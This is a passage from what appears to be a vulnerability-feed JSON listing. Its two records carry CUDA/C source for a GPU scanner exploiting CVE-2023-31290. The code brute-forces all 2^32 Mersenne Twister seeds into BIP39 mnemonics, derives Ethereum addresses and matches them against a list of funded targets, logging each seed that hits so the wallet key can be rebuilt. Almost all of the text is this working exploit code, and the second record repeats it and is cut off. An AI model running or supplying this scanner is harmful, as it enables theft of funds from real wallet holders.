0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-03T23:58:53.175642Z"}, {"uuid": "cd76a60f-98d9-4aeb-95c6-4b0f1850977a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/6a1f1230ac888b81f0804c0ff27cf1db", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 